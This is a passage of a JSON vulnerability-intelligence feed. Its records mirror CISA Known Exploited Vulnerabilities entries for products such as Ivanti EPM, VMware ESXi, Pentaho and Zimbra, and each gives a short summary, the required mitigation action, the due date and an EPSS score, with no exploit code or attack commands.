exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-13161","cveId":"CVE-2024-13161","aliases":[],"kind":"vulnerability","title":"Ivanti Endpoint Manager (EPM) Absolute Path Traversal Vulnerability","summary":"Ivanti Endpoint Manager (EPM) contains an absolute path traversal vulnerability that allows a remote unauthenticated attacker to leak sensitive information.","detail":"CISA added this entry on 2025-03-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-03-10","updatedAt":null,"regions":["Global"],"vendor":"Ivanti","product":"Endpoint Manager (EPM)","stacks":["Ivanti","Endpoint Manager (EPM)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-03-10","dueAt":"2025-03-31","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.89809,"percentile":0.99788,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-13161&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-13161","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-03-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-13161 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-13161&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-13161, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-57968","cveId":"CVE-2024-57968","aliases":[],"kind":"vulnerability","title":"Advantive VeraCore Unrestricted File Upload Vulnerability","summary":"Advantive VeraCore contains an unrestricted file upload vulnerability that allows a remote unauthenticated attacker to upload files to unintended folders via upload.apsx.","detail":"CISA added this entry on 2025-03-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-03-10","updatedAt":null,"regions":["Global"],"vendor":"Advantive","product":"VeraCore","stacks":["Advantive","VeraCore"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-03-10","dueAt":"2025-03-31","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.32284,"percentile":0.98312,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-57968&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-57968","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-03-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-57968 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-57968&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-57968, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-25181","cveId":"CVE-2025-25181","aliases":[],"kind":"vulnerability","title":"Advantive VeraCore SQL Injection Vulnerability","summary":"Advantive VeraCore contains a SQL injection vulnerability in timeoutWarning.asp that allows a remote attacker to execute arbitrary SQL commands via the PmSess1 parameter.","detail":"CISA added this entry on 2025-03-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-03-10","updatedAt":null,"regions":["Global"],"vendor":"Advantive","product":"VeraCore","stacks":["Advantive","VeraCore"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-03-10","dueAt":"2025-03-31","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.55549,"percentile":0.9903,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-25181&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-25181","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-03-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-25181 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-25181&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-25181, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-50302","cveId":"CVE-2024-50302","aliases":[],"kind":"vulnerability","title":"Linux Kernel Use of Uninitialized Resource Vulnerability","summary":"The Linux kernel contains a use of uninitialized resource vulnerability that allows an attacker to leak kernel memory via a specially crafted HID report.","detail":"CISA added this entry on 2025-03-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-03-04","updatedAt":null,"regions":["Global"],"vendor":"Linux","product":"Kernel","stacks":["Linux kernel","Linux","Kernel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-03-04","dueAt":"2025-03-25","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.00811,"percentile":0.56663,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-50302&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-50302","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-03-04","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-50302 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-50302&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-50302, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-22224","cveId":"CVE-2025-22224","aliases":[],"kind":"vulnerability","title":"VMware ESXi and Workstation TOCTOU Race Condition Vulnerability","summary":"VMware ESXi and Workstation contain a time-of-check time-of-use (TOCTOU) race condition vulnerability that leads to an out-of-bounds write. Successful exploitation enables an attacker with local administrative privileges on a virtual machine to execute code as the virtual machine's VMX process running on the host.","detail":"CISA added this entry on 2025-03-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-03-04","updatedAt":null,"regions":["Global"],"vendor":"VMware","product":"ESXi and Workstation","stacks":["VMware","ESXi and Workstation"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-03-04","dueAt":"2025-03-25","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01561,"percentile":0.75062,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-22224&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-22224","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-03-04","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-22224 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-22224&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-22224, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-22225","cveId":"CVE-2025-22225","aliases":[],"kind":"vulnerability","title":"VMware ESXi Arbitrary Write Vulnerability","summary":"VMware ESXi contains an arbitrary write vulnerability. Successful exploitation allows an attacker with privileges within the VMX process to trigger an arbitrary kernel write leading to an escape of the sandbox.","detail":"CISA added this entry on 2025-03-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-03-04","updatedAt":null,"regions":["Global"],"vendor":"VMware","product":"ESXi","stacks":["VMware","ESXi"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-03-04","dueAt":"2025-03-25","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01016,"percentile":0.63068,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-22225&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-22225","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-03-04","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-22225 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-22225&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-22225, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-22226","cveId":"CVE-2025-22226","aliases":[],"kind":"vulnerability","title":"VMware ESXi, Workstation, and Fusion Information Disclosure Vulnerability","summary":"VMware ESXi, Workstation, and Fusion contain an information disclosure vulnerability due to an out-of-bounds read in HGFS. Successful exploitation allows an attacker with administrative privileges to a virtual machine to leak memory from the vmx process.","detail":"CISA added this entry on 2025-03-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-03-04","updatedAt":null,"regions":["Global"],"vendor":"VMware","product":"ESXi, Workstation, and Fusion","stacks":["VMware","ESXi, Workstation, and Fusion"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-03-04","dueAt":"2025-03-25","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01769,"percentile":0.77968,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-22226&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-22226","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-03-04","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-22226 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-22226&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-22226, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-8639","cveId":"CVE-2018-8639","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Win32k Improper Resource Shutdown or Release Vulnerability","summary":"Microsoft Windows Win32k contains an improper resource shutdown or release vulnerability that allows for local, authenticated privilege escalation. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.","detail":"CISA added this entry on 2025-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-03-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-03-03","dueAt":"2025-03-24","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.22179,"percentile":0.97656,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-8639&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-8639","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-8639 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-8639&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-8639, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-43769","cveId":"CVE-2022-43769","aliases":[],"kind":"vulnerability","title":"Hitachi Vantara Pentaho BA Server Special Element Injection Vulnerability","summary":"Hitachi Vantara Pentaho BA Server contains a special element injection vulnerability that allows an attacker to inject Spring templates into properties files, allowing for arbitrary command execution.","detail":"CISA added this entry on 2025-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-03-03","updatedAt":null,"regions":["Global"],"vendor":"Hitachi Vantara","product":"Pentaho Business Analytics (BA) Server","stacks":["Hitachi Vantara","Pentaho Business Analytics (BA) Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-03-03","dueAt":"2025-03-24","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.9767,"percentile":0.99902,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-43769&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-43769","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-43769 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-43769&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-43769, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-43939","cveId":"CVE-2022-43939","aliases":[],"kind":"vulnerability","title":"Hitachi Vantara Pentaho BA Server Authorization Bypass Vulnerability","summary":"Hitachi Vantara Pentaho BA Server contains a use of non-canonical URL paths for authorization decisions vulnerability that enables an attacker to bypass authorization.","detail":"CISA added this entry on 2025-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-03-03","updatedAt":null,"regions":["Global"],"vendor":"Hitachi Vantara","product":"Pentaho Business Analytics (BA) Server","stacks":["Hitachi Vantara","Pentaho Business Analytics (BA) Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-03-03","dueAt":"2025-03-24","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.92266,"percentile":0.99821,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-43939&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-43939","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-43939 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-43939&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-43939, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-20118","cveId":"CVE-2023-20118","aliases":[],"kind":"vulnerability","title":"Cisco Small Business RV Series Routers Command Injection Vulnerability","summary":"Multiple Cisco Small Business RV Series Routers contains a command injection vulnerability in the web-based management interface. Successful exploitation could allow an authenticated, remote attacker to gain root-level privileges and access unauthorized data.","detail":"CISA added this entry on 2025-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-03-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"Small Business RV Series Routers","stacks":["Cisco","Small Business RV Series Routers"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-03-03","dueAt":"2025-03-24","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.54107,"percentile":0.98998,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-20118&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-20118","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-20118 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-20118&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-20118, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-4885","cveId":"CVE-2024-4885","aliases":[],"kind":"vulnerability","title":"Progress WhatsUp Gold Path Traversal Vulnerability","summary":"Progress WhatsUp Gold contains a path traversal vulnerability that allows an unauthenticated attacker to achieve remote code execution.","detail":"CISA added this entry on 2025-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-03-03","updatedAt":null,"regions":["Global"],"vendor":"Progress","product":"WhatsUp Gold","stacks":["Progress (MOVEit, Telerik, WS_FTP)","Progress","WhatsUp Gold"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-03-03","dueAt":"2025-03-24","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99288,"percentile":0.99937,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-4885&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-4885","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-4885 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-4885&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-4885, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-34192","cveId":"CVE-2023-34192","aliases":[],"kind":"vulnerability","title":"Synacor Zimbra Collaboration Suite (ZCS) Cross-Site Scripting (XSS) Vulnerability","summary":"Synacor Zimbra Collaboration Suite (ZCS) contains a cross-site scripting (XSS) vulnerability that allows a remote authenticated attacker to execute arbitrary code via a crafted script to the /h/autoSaveDraft function.","detail":"CISA added this entry on 2025-02-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-02-25","updatedAt":null,"regions":["Global"],"vendor":"Synacor","product":"Zimbra Collaboration Suite (ZCS)","stacks":["Zimbra","Synacor","Zimbra Collaboration Suite (ZCS)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-02-25","dueAt":"2025-03-18","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.77266,"percentile":0.99551,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-34192&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-34192","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-02-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-34192 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-34192&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-34192, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-49035","cveId":"CVE-2024-49035","aliases":[],"kind":"vulnerability","title":"Microsoft Partner Center Improper Access Control Vulnerability","summary":"Microsoft Partner Center contains an improper access control vulnerability that allows an attacker to escalate privileges.","detail":"CISA added this entry on 2025-02-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-02-25","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Partner Center","stacks":["Microsoft Office","Microsoft","Partner 